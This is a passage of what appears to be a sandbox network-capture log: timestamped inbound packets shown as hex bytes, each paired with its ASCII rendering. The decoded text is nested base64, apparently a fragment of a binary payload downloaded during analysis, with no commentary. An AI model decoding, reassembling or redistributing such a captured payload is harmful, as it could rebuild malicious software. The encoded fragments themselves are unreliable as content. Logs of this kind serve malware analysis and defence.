2021-11-09 21:22:01 UTC	1448	IN	Data Raw: 00 33 00 64 00 59 00 52 00 46 00 49 00 77 00 56 00 45 00 4a 00 43 00 57 00 56 00 52 00 43 00 55 00 57 00 64 00 7a 00 52 00 6c 00 46 00 5a 00 56 00 30 00 46 00 75 00 63 00 31 00 46 00 42 00 51 00 55 00 46 00 46 00 51 00 6b 00 4a 00 6b 00 57 00 6d 00 74 00 61 00 64 00 30 00 56 00 47 00 4d 00 57 00 74 00 52 00 51 00 57 00 68 00 6a 00 56 00 45 00 4a 00 52 00 55 00 56 00 68 00 58 00 55 00 6b 00 31 00 48 00 53 00 7a 00 4e 00 52 00 55 00 6b 00 4a 00 6f 00 5a 00 46 00 70 00 42 00 65 00 6b 00 70 00 46 00 51 00 6d 00 68 00 46 00 52 00 6b 00 46 00 75 00 63 00 31 00 46 00 42 00 51 00 55 00 46 00 46 00 52 00 56 00 46 00 68 00 55 00 6b 00 4e 00 53 00 5a 00 46 00 70 00 49 00 65 00 44 00 6c 00 6d 00 57 00 58 00 6c 00 45 00 4c 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 Data Ascii: 3dYRFIwVEJCWVRCUWdzRlFZV0Fuc1FBQUFFQkJkWmtad0VGMWtRQWhjVEJRUVhXUk1HSzNRUkJoZFpBekpFQmhFRkFuc1FBQUFFRVFhUkNSZFpIeDlmWXlEL0FBQUFD
2021-11-09 21:22:01 UTC	1452	IN	Data Raw: 42 00 51 00 55 00 46 00 79 00 59 00 7a 00 4e 00 6e 00 54 00 57 00 30 00 7a 00 5a 00 30 00 46 00 58 00 61 00 6c 00 64 00 6e 00 51 00 55 00 46 00 42 00 52 00 58 00 46 00 44 00 51 00 32 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 6b 00 74 00 42 00 51 00 55 00 46 00 42 00 5a 00 30 00 46 00 71 00 51 00 55 00 4a 00 52 00 4d 00 30 00 46 00 42 00 62 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 42 00 55 00 30 00 46 00 44 00 4f 00 55 00 4a 00 42 00 51 00 57 00 39 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 54 00 46 00 4f 00 51 00 55 00 46 00 4e 00 53 00 30 00 46 00 42 00 51 00 55 00 4a 00 48 00 65 00 6b 00 46 00 46 00 51 00 55 00 56 00 72 00 51 00 55 00 46 00 42 00 51 00 53 00 39 00 42 00 51 00 55 00 46 Data Ascii: BQUFyYzNnTW0zZ0FXaldnQUFBRXFDQ29BQUFBQktBQUFBZ0FqQUJRM0FBb0FBQUFBQWdBU0FDOUJBQW9BQUFBQUFBQUFBRTFOQUFNS0FBQUJHekFFQUVrQUFBQS9BQUF
2021-11-09 21:22:01 UTC	1456	IN	Data Raw: 00 46 00 42 00 51 00 55 00 4e 00 75 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 54 00 46 00 4d 00 34 00 56 00 32 00 4e 00 77 00 4f 00 45 00 78 00 42 00 53 00 45 00 52 00 52 00 53 00 6b 00 46 00 42 00 51 00 55 00 46 00 70 00 61 00 54 00 52 00 42 00 51 00 55 00 46 00 4c 00 52 00 6a 00 51 00 79 00 54 00 6b 00 46 00 42 00 51 00 55 00 4a 00 4b 00 55 00 6c 00 6c 00 58 00 52 00 6b 00 4e 00 70 00 4f 00 45 00 46 00 42 00 51 00 55 00 74 00 76 00 61 00 57 00 63 00 33 00 51 00 56 00 46 00 42 00 53 00 30 00 74 00 4d 00 4e 00 45 00 46 00 42 00 51 00 58 00 46 00 42 00 52 00 33 00 64 00 46 00 51 00 55 00 4a 00 49 00 4e 00 47 00 4a 00 42 00 55 00 55 00 46 00 46 00 5a 00 54 00 63 00 34 00 51 00 55 00 46 00 42 00 63 00 43 00 74 00 48 00 64 00 30 00 56 00 42 00 51 00 Data Ascii: FBQUNuNGJBUUFFTFM4V2NwOExBSERRSkFBQUFpaTRBQUFLRjQyTkFBQUJKUllXRkNpOEFBQUtvaWc3QVFBS0tMNEFBQXFBR3dFQUJINGJBUUFFZTc4QUFBcCtHd0VBQ
2021-11-09 21:22:01 UTC	1460	IN	Data Raw: 51 00 55 00 4e 00 74 00 4f 00 58 00 64 00 42 00 55 00 55 00 46 00 4c 00 59 00 6a 00 4e 00 46 00 51 00 6b 00 46 00 42 00 62 00 33 00 46 00 42 00 51 00 6e 00 4e 00 33 00 51 00 6c 00 46 00 44 00 4d 00 55 00 46 00 42 00 51 00 55 00 46 00 54 00 5a 00 30 00 46 00 42 00 52 00 56 00 68 00 50 00 63 00 55 00 46 00 42 00 51 00 55 00 74 00 44 00 62 00 6b 00 77 00 78 00 51 00 33 00 64 00 43 00 64 00 32 00 4e 00 30 00 53 00 55 00 31 00 42 00 53 00 45 00 49 00 72 00 53 00 47 00 64 00 42 00 51 00 55 00 4e 00 70 00 5a 00 32 00 5a 00 42 00 51 00 55 00 46 00 4c 00 59 00 7a 00 4e 00 4a 00 51 00 6b 00 46 00 42 00 62 00 30 00 78 00 43 00 4d 00 6a 00 6c 00 36 00 51 00 56 00 46 00 42 00 53 00 30 00 52 00 42 00 61 00 48 00 5a 00 6b 00 51 00 55 00 56 00 42 00 51 00 32 00 63 00 77 Data Ascii: QUNtOXdBUUFLYjNFQkFBb3FBQnN3QlFDMUFBQUFTZ0FBRVhPcUFBQUtDbkwxQ3dCd2N0SU1BSEIrSGdBQUNpZ2ZBQUFLYzNJQkFBb0xCMjl6QVFBS0RBaHZkQUVBQ2cw
2021-11-09 21:22:01 UTC	1464	IN	Data Raw: 00 42 00 63 00 57 00 6c 00 4b 00 55 00 6d 00 64 00 6c 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 32 00 74 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 39 00 70 00 56 00 56 00 70 00 46 00 55 00 56 00 46 00 68 00 61 00 6c 00 5a 00 76 00 51 00 55 00 46 00 42 00 52 00 57 00 77 00 77 00 54 00 44 00 68 00 42 00 51 00 55 00 46 00 52 00 62 00 30 00 35 00 33 00 51 00 55 00 46 00 44 00 62 00 6b 00 30 00 30 00 51 00 55 00 46 00 42 00 53 00 32 00 49 00 7a 00 57 00 55 00 4a 00 42 00 51 00 57 00 39 00 73 00 54 00 46 00 46 00 52 00 62 00 55 00 5a 00 44 00 63 00 30 00 5a 00 69 00 4e 00 47 00 4e 00 42 00 51 00 55 00 46 00 78 00 61 00 55 00 Data Ascii: BcWlKUmdlalZvQUFBRWwwT2tBQUFRb053QUFDbk00QUFBS29pVVpFUVFhalZvQUFBRWwwTDhBQUFRb053QUFDbk00QUFBS2IzWUJBQW9sTFFRbUZDc0ZiNGNBQUFxaU
2021-11-09 21:22:01 UTC	1468	IN	Data Raw: 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 35 00 4d 00 6b 00 46 00 52 00 51 00 55 00 74 00 6b 00 56 00 6d 00 64 00 42 00 51 00 55 00 46 00 47 00 64 00 6a 00 42 00 52 00 51 00 55 00 46 00 44 00 64 00 44 00 52 00 45 00 53 00 6e 00 51 00 30 00 51 00 55 00 56 00 52 00 57 00 6e 00 5a 00 6c 00 51 00 55 00 56 00 42 00 51 00 32 00 6b 00 79 00 56 00 6a 00 4e 00 6e 00 64 00 31 00 4a 00 43 00 61 00 58 00 64 00 49 00 52 00 56 00 46 00 61 00 64 00 6b 00 4e 00 33 00 51 00 55 00 46 00 44 00 64 00 48 00 70 00 6c 00 52 00 45 00 4a 00 46 00 53 00 30 00 78 00 42 00 59 00 31 00 4a 00 44 00 62 00 54 00 68 00 4d 00 51 00 55 00 46 00 42 00 53 00 7a 00 4e 00 4f 00 4e 00 45 00 31 00 46 00 55 00 57 00 74 00 7a 00 51 00 6e 00 68 00 46 00 53 Data Ascii: UFBcHpPQUFBQ205MkFRQUtkVmdBQUFGdjBRQUFDdDRESnQ0QUVRWnZlQUVBQ2kyVjNnd1JCaXdIRVFadkN3QUFDdHplREJFS0xBY1JDbThMQUFBSzNONE1FUWtzQnhFS
2021-11-09 21:22:01 UTC	1472	IN	Data Raw: 00 57 00 57 00 74 00 42 00 5a 00 30 00 46 00 48 00 59 00 7a 00 52 00 6e 00 51 00 6b 00 46 00 42 00 62 00 32 00 78 00 6e 00 51 00 30 00 31 00 43 00 51 00 55 00 46 00 52 00 62 00 30 00 74 00 52 00 51 00 55 00 46 00 4c 00 65 00 57 00 64 00 54 00 51 00 55 00 46 00 42 00 63 00 6b 00 4d 00 35 00 4e 00 45 00 5a 00 4b 00 64 00 44 00 52 00 42 00 51 00 6d 00 6c 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 00 4a 00 46 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 52 00 30 00 46 00 45 00 57 00 54 00 68 00 42 00 51 00 55 00 31 00 4c 00 51 00 55 00 46 00 42 00 51 00 6b 00 64 00 36 00 51 00 55 00 5a 00 42 00 51 00 56 00 46 00 43 00 51 00 55 00 46 00 43 00 55 00 30 00 46 00 42 00 51 00 56 00 4a 00 6a 00 63 00 7a 00 52 00 54 00 51 00 55 00 68 00 43 00 65 00 55 00 56 00 Data Ascii: WWtBZ0FHYzRnQkFBb2xnQ01CQUFRb0tRQUFLeWdTQUFBckM5NEZKdDRBQmlvSEtnQUJFQUFBQUFBR0FEWThBQU1LQUFBQkd6QUZBQVFCQUFCU0FBQVJjczRTQUhCeUV
2021-11-09 21:22:01 UTC	1476	IN	Data Raw: 64 00 49 00 4d 00 58 00 6c 00 6b 00 52 00 6a 00 49 00 35 00 62 00 6b 00 46 00 42 00 51 00 55 00 74 00 44 00 5a 00 31 00 6c 00 48 00 61 00 6d 00 31 00 72 00 57 00 56 00 64 00 61 00 62 00 32 00 5a 00 44 00 57 00 54 00 46 00 68 00 51 00 55 00 46 00 42 00 51 00 6b 00 70 00 6b 00 52 00 48 00 68 00 42 00 51 00 55 00 46 00 46 00 53 00 30 00 52 00 6a 00 51 00 55 00 46 00 42 00 63 00 48 00 70 00 50 00 51 00 55 00 46 00 42 00 51 00 32 00 30 00 34 00 62 00 45 00 46 00 42 00 51 00 55 00 74 00 4d 00 51 00 57 00 39 00 48 00 51 00 6d 00 38 00 31 00 63 00 45 00 59 00 78 00 62 00 57 00 46 00 44 00 4f 00 54 00 52 00 4d 00 4d 00 32 00 64 00 4e 00 62 00 54 00 4e 00 6e 00 51 00 6e 00 6c 00 61 00 65 00 46 00 46 00 42 00 59 00 30 00 4e 00 76 00 53 00 45 00 74 00 6e 00 51 00 55 Data Ascii: dIMXlkRjI5bkFBQUtDZ1lHam1rWVdab2ZDWTFhQUFBQkpkRHhBQUFFS0RjQUFBcHpPQUFBQ204bEFBQUtMQW9HQm81cEYxbWFDOTRMM2dNbTNnQnlaeFFBY0NvSEtnQU
2021-11-09 21:22:01 UTC	1480	IN	Data Raw: 00 55 00 46 00 46 00 51 00 6c 00 4a 00 5a 00 51 00 32 00 55 00 77 00 59 00 30 00 46 00 42 00 51 00 56 00 46 00 44 00 5a 00 54 00 42 00 6e 00 51 00 55 00 46 00 42 00 55 00 57 00 39 00 72 00 5a 00 30 00 56 00 42 00 51 00 32 00 64 00 4a 00 52 00 6d 00 70 00 74 00 62 00 44 00 6c 00 54 00 5a 00 30 00 46 00 42 00 51 00 6b 00 46 00 4a 00 51 00 32 00 55 00 77 00 62 00 30 00 46 00 42 00 51 00 56 00 46 00 76 00 5a 00 47 00 64 00 42 00 51 00 55 00 4e 00 75 00 4d 00 55 00 70 00 42 00 51 00 55 00 46 00 46 00 53 00 32 00 64 00 42 00 51 00 55 00 56 00 36 00 51 00 55 00 4e 00 42 00 53 00 46 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 6e 00 52 00 45 00 51 00 55 00 46 00 42 00 52 00 57 00 5a 00 75 00 55 00 55 00 46 00 42 00 Data Ascii: UFFQlJZQ2UwY0FBQVFDZTBnQUFBUW9rZ0VBQ2dJRmptbDlTZ0FBQkFJQ2Uwb0FBQVFvZGdBQUNuMUpBQUFFS2dBQUV6QUNBSFVBQUFBQUFBQUFBbnREQUFBRWZuUUFB
2021-11-09 21:22:01 UTC	1484	IN	Data Raw: 78 00 53 00 47 00 64 00 4a 00 62 00 31 00 6c 00 6e 00 51 00 55 00 46 00 44 00 61 00 57 00 39 00 6c 00 51 00 57 00 35 00 31 00 54 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 55 00 6c 00 44 00 51 00 54 00 4d 00 79 00 54 00 45 00 46 00 42 00 51 00 55 00 56 00 4c 00 61 00 44 00 52 00 44 00 5a 00 54 00 52 00 33 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 4a 00 5a 00 30 00 6c 00 45 00 5a 00 6c 00 6c 00 33 00 51 00 55 00 46 00 42 00 55 00 58 00 46 00 49 00 5a 00 30 00 6f 00 33 00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 6c 00 42 00 5a 00 30 00 34 00 35 00 61 00 6c 00 46 00 42 00 51 00 55 00 4a 00 44 00 62 00 32 00 56 00 42 00 62 00 6e 00 56 00 50 00 51 00 55 00 46 00 42 00 52 00 55 00 74 00 70 00 53 00 55 00 4e 00 42 00 4d 00 7a 00 4a Data Ascii: xSGdJb1lnQUFDaW9lQW51TEFBQUVLaUlDQTMyTEFBQUVLaDRDZTR3QUFBUXFJZ0lEZll3QUFBUXFIZ0o3alFBQUJDb2lBZ045alFBQUJDb2VBbnVPQUFBRUtpSUNBMzJ
2021-11-09 21:22:01 UTC	1488	IN	Data Raw: 00 46 00 76 00 65 00 6b 00 4e 00 33 00 53 00 56 00 64 00 6d 00 55 00 54 00 52 00 43 00 51 00 55 00 46 00 52 00 51 00 30 00 4e 00 70 00 63 00 30 00 68 00 47 00 62 00 6b 00 31 00 4e 00 51 00 57 00 64 00 42 00 52 00 30 00 4e 00 6e 00 57 00 58 00 46 00 49 00 5a 00 30 00 6c 00 76 00 52 00 57 00 64 00 4a 00 51 00 55 00 4a 00 70 00 62 00 33 00 56 00 6a 00 65 00 46 00 56 00 44 00 51 00 55 00 46 00 68 00 51 00 55 00 56 00 52 00 52 00 55 00 46 00 43 00 51 00 32 00 39 00 6c 00 51 00 57 00 6c 00 6f 00 61 00 55 00 46 00 42 00 51 00 55 00 74 00 4c 00 5a 00 32 00 39 00 59 00 53 00 32 00 67 00 30 00 51 00 30 00 74 00 48 00 53 00 55 00 46 00 42 00 51 00 57 00 39 00 78 00 51 00 55 00 4a 00 4e 00 64 00 30 00 46 00 6e 00 51 00 58 00 4a 00 42 00 51 00 55 00 46 00 42 00 56 00 Data Ascii: FvekN3SVdmUTRCQUFRQ0Npc0hGbk1NQWdBR0NnWXFIZ0lvRWdJQUJpb3VjeFVDQUFhQUVRRUFCQ29lQWloaUFBQUtLZ29YS2g0Q0tHSUFBQW9xQUJNd0FnQXJBQUFBV
2021-11-09 21:22:01 UTC	1492	IN	Data Raw: 64 00 30 00 64 00 52 00 57 00 55 00 46 00 46 00 4d 00 45 00 4a 00 78 00 54 00 45 00 46 00 5a 00 51 00 57 00 31 00 36 00 63 00 48 00 46 00 4d 00 51 00 56 00 6c 00 42 00 61 00 55 00 51 00 31 00 63 00 55 00 78 00 4a 00 63 00 30 00 4a 00 54 00 56 00 45 00 6c 00 42 00 51 00 55 00 45 00 30 00 51 00 57 00 74 00 55 00 53 00 47 00 56 00 4c 00 64 00 7a 00 52 00 42 00 56 00 55 00 51 00 33 00 5a 00 55 00 74 00 33 00 4e 00 45 00 46 00 4e 00 56 00 55 00 52 00 6c 00 53 00 33 00 64 00 5a 00 51 00 58 00 4a 00 44 00 61 00 6c 00 52 00 52 00 51 00 56 00 6c 00 42 00 4c 00 30 00 4e 00 61 00 63 00 55 00 78 00 42 00 57 00 55 00 46 00 6e 00 61 00 53 00 74 00 79 00 55 00 57 00 64 00 5a 00 51 00 55 00 35 00 70 00 64 00 44 00 68 00 4f 00 55 00 56 00 6c 00 42 00 63 00 47 00 70 00 4f Data Ascii: d0dRWUFFMEJxTEFZQW16cHFMQVlBaUQ1cUxJc0JTVElBQUE0QWtUSGVLdzRBVUQ3ZUt3NEFNVURlS3dZQXJDalRRQVlBL0NacUxBWUFnaStyUWdZQU5pdDhOUVlBcGpO
2021-11-09 21:22:01 UTC	1496	IN	Data Raw: 00 44 00 52 00 55 00 45 00 72 00 64 00 30 00 4e 00 6f 00 51 00 55 00 46 00 42 00 51 00 56 00 4d 00 77 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6b 00 46 00 42 00 51 00 30 00 46 00 52 00 61 00 30 00 4a 00 46 00 51 00 55 00 4e 00 77 00 53 00 46 00 46 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 74 00 42 00 51 00 6d 00 39 00 43 00 51 00 31 00 46 00 46 00 55 00 55 00 46 00 4d 00 62 00 45 00 52 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 4e 00 5a 00 51 00 55 00 64 00 6e 00 52 00 55 00 70 00 42 00 55 00 6b 00 46 00 42 00 63 00 6d 00 74 00 4e 00 51 00 55 00 46 00 47 00 61 00 30 00 4a 00 4c 00 55 00 55 00 46 00 68 00 51 00 56 00 46 00 46 00 51 00 55 00 56 00 42 00 51 00 6d 00 31 00 46 00 55 00 55 00 46 00 42 00 53 00 31 00 46 00 42 00 63 00 55 00 Data Ascii: DRUErd0NoQUFBQVMwUUFBQUFBSkFBQ0FRa0JFQUNwSFFBQVdRRWtBQm9CQ1FFUUFMbERBQUJaQVNZQUdnRUpBUkFBcmtNQUFGa0JLUUFhQVFFQUVBQm1FUUFBS1FBcU
2021-11-09 21:22:01 UTC	1500	IN	Data Raw: 57 00 78 00 52 00 56 00 55 00 46 00 42 00 52 00 6d 00 74 00 43 00 53 00 6b 00 46 00 46 00 62 00 45 00 46 00 6f 00 54 00 55 00 4a 00 42 00 51 00 55 00 46 00 75 00 51 00 32 00 64 00 42 00 51 00 56 00 64 00 52 00 52 00 57 00 74 00 42 00 55 00 31 00 56 00 44 00 52 00 58 00 64 00 46 00 51 00 55 00 46 00 49 00 63 00 30 00 35 00 42 00 51 00 55 00 4a 00 61 00 51 00 56 00 4e 00 52 00 51 00 6b 00 70 00 52 00 53 00 56 00 52 00 42 00 55 00 55 00 46 00 42 00 63 00 6e 00 63 00 34 00 51 00 55 00 46 00 47 00 61 00 30 00 4a 00 4b 00 51 00 55 00 56 00 73 00 51 00 57 00 68 00 4e 00 51 00 6b 00 46 00 42 00 52 00 44 00 46 00 45 00 64 00 30 00 46 00 42 00 56 00 31 00 46 00 46 00 61 00 30 00 46 00 54 00 56 00 55 00 4e 00 46 00 64 00 30 00 56 00 42 00 51 00 55 00 35 00 42 00 52 Data Ascii: WxRVUFBRmtCSkFFbEFoTUJBQUFuQ2dBQVdRRWtBU1VDRXdFQUFIc05BQUJaQVNRQkpRSVRBUUFBcnc4QUFGa0JKQUVsQWhNQkFBRDFEd0FBV1FFa0FTVUNFd0VBQU5BR
2021-11-09 21:22:01 UTC	1504	IN	Data Raw: 00 4e 00 6d 00 52 00 46 00 56 00 45 00 31 00 43 00 5a 00 31 00 4a 00 44 00 61 00 55 00 56 00 55 00 54 00 55 00 4a 00 36 00 51 00 53 00 74 00 75 00 52 00 56 00 52 00 4e 00 51 00 6d 00 4e 00 34 00 52 00 33 00 4e 00 46 00 56 00 45 00 31 00 43 00 65 00 58 00 64 00 78 00 54 00 30 00 56 00 55 00 54 00 55 00 4a 00 33 00 61 00 46 00 4e 00 7a 00 52 00 56 00 52 00 4e 00 51 00 6d 00 64 00 6e 00 55 00 30 00 56 00 46 00 56 00 45 00 31 00 43 00 61 00 33 00 64 00 35 00 65 00 45 00 56 00 55 00 54 00 55 00 4a 00 76 00 51 00 6b 00 63 00 79 00 52 00 56 00 52 00 4e 00 51 00 6a 00 68 00 52 00 53 00 7a 00 64 00 46 00 56 00 45 00 31 00 43 00 56 00 6d 00 64 00 45 00 51 00 55 00 56 00 55 00 54 00 55 00 4a 00 49 00 64 00 32 00 70 00 47 00 52 00 56 00 52 00 4e 00 51 00 6e 00 4e 00 Data Ascii: NmRFVE1CZ1JDaUVUTUJ6QStuRVRNQmN4R3NFVE1CeXdxT0VUTUJ3aFNzRVRNQmdnU0VFVE1Ca3d5eEVUTUJvQkcyRVRNQjhRSzdFVE1CVmdEQUVUTUJId2pGRVRNQnN
2021-11-09 21:22:01 UTC	1508	IN	Data Raw: 64 00 42 00 55 00 46 00 55 00 76 00 4e 00 45 00 4a 00 4e 00 4d 00 6b 00 46 00 4d 00 51 00 54 00 56 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 46 00 51 00 54 00 6c 00 55 00 4c 00 32 00 35 00 46 00 65 00 6d 00 64 00 42 00 56 00 30 00 52 00 76 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6e 00 55 00 55 00 4a 00 6d 00 55 00 47 00 5a 00 42 00 56 00 45 00 39 00 6e 00 51 00 54 00 68 00 50 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 51 00 6b 00 46 00 4c 00 4d 00 47 00 34 00 76 00 65 00 45 00 30 00 76 00 51 00 55 00 68 00 33 00 4e 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 55 00 56 00 42 00 4f 00 47 00 70 00 46 00 52 00 55 00 5a 00 46 00 51 00 55 00 46 00 35 00 52 00 48 00 4e 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 64 00 52 00 51 00 6c Data Ascii: dBUFUvNEJNMkFMQTVBQUFBQUpFQTlUL25FemdBV0RvQUFBQUFnUUJmUGZBVE9nQThPd0FBQUFDQkFLMG4veE0vQUh3N0FBQUFBSUVBOGpFRUZFQUF5RHNBQUFBQWdRQl
2021-11-09 21:22:01 UTC	1512	IN	Data Raw: 00 6c 00 6c 00 42 00 54 00 32 00 67 00 33 00 64 00 45 00 5a 00 4f 00 5a 00 30 00 46 00 44 00 62 00 47 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 78 00 6e 00 51 00 6c 00 5a 00 49 00 64 00 54 00 42 00 56 00 4d 00 6e 00 64 00 42 00 59 00 31 00 64 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 58 00 51 00 56 00 42 00 4e 00 52 00 7a 00 64 00 53 00 56 00 47 00 56 00 42 00 52 00 48 00 42 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4b 00 57 00 55 00 46 00 47 00 65 00 6b 00 68 00 30 00 52 00 6b 00 39 00 46 00 51 00 56 00 52 00 47 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 62 00 47 00 64 00 43 00 4b 00 31 00 46 00 6c 00 4d 00 46 00 55 00 31 00 51 00 55 00 4a 00 6c 00 56 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 Data Ascii: llBT2g3dEZOZ0FDbGdBQUFBQWxnQlZIdTBVMndBY1dBQUFBQUNXQVBNRzdSVGVBRHBZQUFBQUFKWUFGekh0Rk9FQVRGZ0FBQUFBbGdCK1FlMFU1QUJlV0FBQUFBQ1dB
2021-11-09 21:22:01 UTC	1516	IN	Data Raw: 42 00 62 00 47 00 64 00 42 00 52 00 46 00 46 00 54 00 4d 00 45 00 52 00 54 00 55 00 55 00 64 00 72 00 61 00 46 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 31 00 64 00 42 00 54 00 45 00 6c 00 70 00 51 00 6e 00 68 00 61 00 53 00 30 00 46 00 69 00 64 00 55 00 5a 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 70 00 5a 00 51 00 55 00 46 00 36 00 5a 00 33 00 52 00 42 00 4d 00 48 00 4e 00 43 00 4d 00 45 00 6c 00 56 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 73 00 5a 00 30 00 4e 00 69 00 55 00 45 00 45 00 30 00 56 00 31 00 52 00 42 00 52 00 55 00 46 00 6f 00 64 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 56 00 30 00 46 00 4f 00 4d 00 48 00 46 00 47 00 61 00 46 00 70 00 50 00 51 00 56 00 6c 00 50 00 53 00 45 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 6c 00 6c Data Ascii: BbGdBRFFTMERTUUdraFFBQUFBQ1dBTElpQnhaS0FidUZBQUFBQUpZQUF6Z3RBMHNCMElVQUFBQUFsZ0NiUEE0V1RBRUFod0FBQUFDV0FOMHFGaFpPQVlPSEFBQUFBSll
2021-11-09 21:22:01 UTC	1520	IN	Data Raw: 00 51 00 55 00 46 00 42 00 51 00 55 00 52 00 48 00 51 00 6c 00 46 00 42 00 52 00 6b 00 46 00 52 00 51 00 30 00 5a 00 42 00 55 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4e 00 57 00 55 00 5a 00 5a 00 64 00 32 00 56 00 6a 00 52 00 6d 00 39 00 56 00 51 00 6b 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 65 00 47 00 64 00 57 00 4e 00 30 00 4e 00 68 00 61 00 31 00 64 00 6f 00 5a 00 30 00 64 00 42 00 62 00 31 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 52 00 57 00 4e 00 46 00 65 00 56 00 46 00 44 00 53 00 55 00 46 00 5a 00 61 00 57 00 68 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 52 00 33 00 55 00 56 00 46 00 42 00 53 00 57 00 64 00 43 00 61 00 32 00 46 00 46 00 51 00 55 00 46 00 Data Ascii: QUFBQURHQlFBRkFRQ0ZBUUFBQUFBQUFNWUZZd2VjRm9VQkFBQUFBQUFBeGdWN0Nha1doZ0dBb1FBQUFBQ0dDRWNFeVFDSUFZaWhBQUFBQUlZSVR3UVFBSWdCa2FFQUF
2021-11-09 21:22:01 UTC	1524	IN	Data Raw: 31 00 42 00 51 00 55 00 46 00 42 00 51 00 55 00 6c 00 5a 00 53 00 56 00 4a 00 33 00 55 00 32 00 5a 00 47 00 59 00 6b 00 56 00 43 00 52 00 6d 00 46 00 5a 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 6f 00 5a 00 32 00 68 00 51 00 51 00 6b 00 74 00 6a 00 56 00 6e 00 4e 00 52 00 52 00 57 00 56 00 77 00 5a 00 30 00 46 00 42 00 51 00 55 00 46 00 44 00 52 00 30 00 4e 00 4f 00 53 00 55 00 64 00 75 00 65 00 46 00 64 00 35 00 51 00 56 00 4e 00 68 00 62 00 55 00 46 00 42 00 51 00 55 00 46 00 42 00 53 00 56 00 6c 00 4a 00 4d 00 6d 00 64 00 68 00 62 00 6b 00 5a 00 69 00 53 00 55 00 4a 00 4d 00 4e 00 6c 00 6c 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 54 00 46 00 44 00 53 00 6a 00 68 00 57 00 63 00 33 00 64 00 46 00 4d 00 33 00 42 00 6e 00 51 00 55 Data Ascii: 1BQUFBQUlZSVJ3U2ZGYkVCRmFZQUFBQUFoZ2hQQktjVnNRRWVwZ0FBQUFDR0NOSUdueFd5QVNhbUFBQUFBSVlJMmdhbkZiSUJMNllBQUFBQWhnaTFDSjhWc3dFM3BnQU
2021-11-09 21:22:01 UTC	1528	IN	Data Raw: 00 32 00 74 00 42 00 51 00 55 00 46 00 42 00 51 00 57 00 68 00 6e 00 61 00 6c 00 4a 00 46 00 55 00 6b 00 46 00 42 00 4d 00 6c 00 46 00 48 00 53 00 6e 00 46 00 52 00 51 00 55 00 46 00 42 00 51 00 55 00 4e 00 48 00 51 00 30 00 49 00 30 00 51 00 58 00 6c 00 52 00 52 00 47 00 46 00 42 00 57 00 6b 00 64 00 77 00 51 00 55 00 46 00 42 00 51 00 55 00 46 00 4a 00 57 00 55 00 6c 00 4b 00 64 00 30 00 46 00 52 00 51 00 55 00 35 00 76 00 51 00 6d 00 31 00 78 00 61 00 30 00 46 00 42 00 51 00 55 00 46 00 42 00 61 00 47 00 64 00 6e 00 59 00 55 00 45 00 34 00 61 00 30 00 45 00 79 00 64 00 30 00 64 00 70 00 63 00 56 00 46 00 42 00 51 00 55 00 46 00 42 00 51 00 30 00 64 00 44 00 51 00 30 00 31 00 45 00 52 00 55 00 46 00 45 00 59 00 6b 00 46 00 68 00 64 00 58 00 42 00 42 00 Data Ascii: 2tBQUFBQWhnalJFUkFBMlFHSnFRQUFBQUNHQ0I0QXlRRGFBWkdwQUFBQUFJWUlKd0FRQU5vQm1xa0FBQUFBaGdnYUE4a0Eyd0dpcVFBQUFBQ0dDQ01ERUFEYkFhdXBB
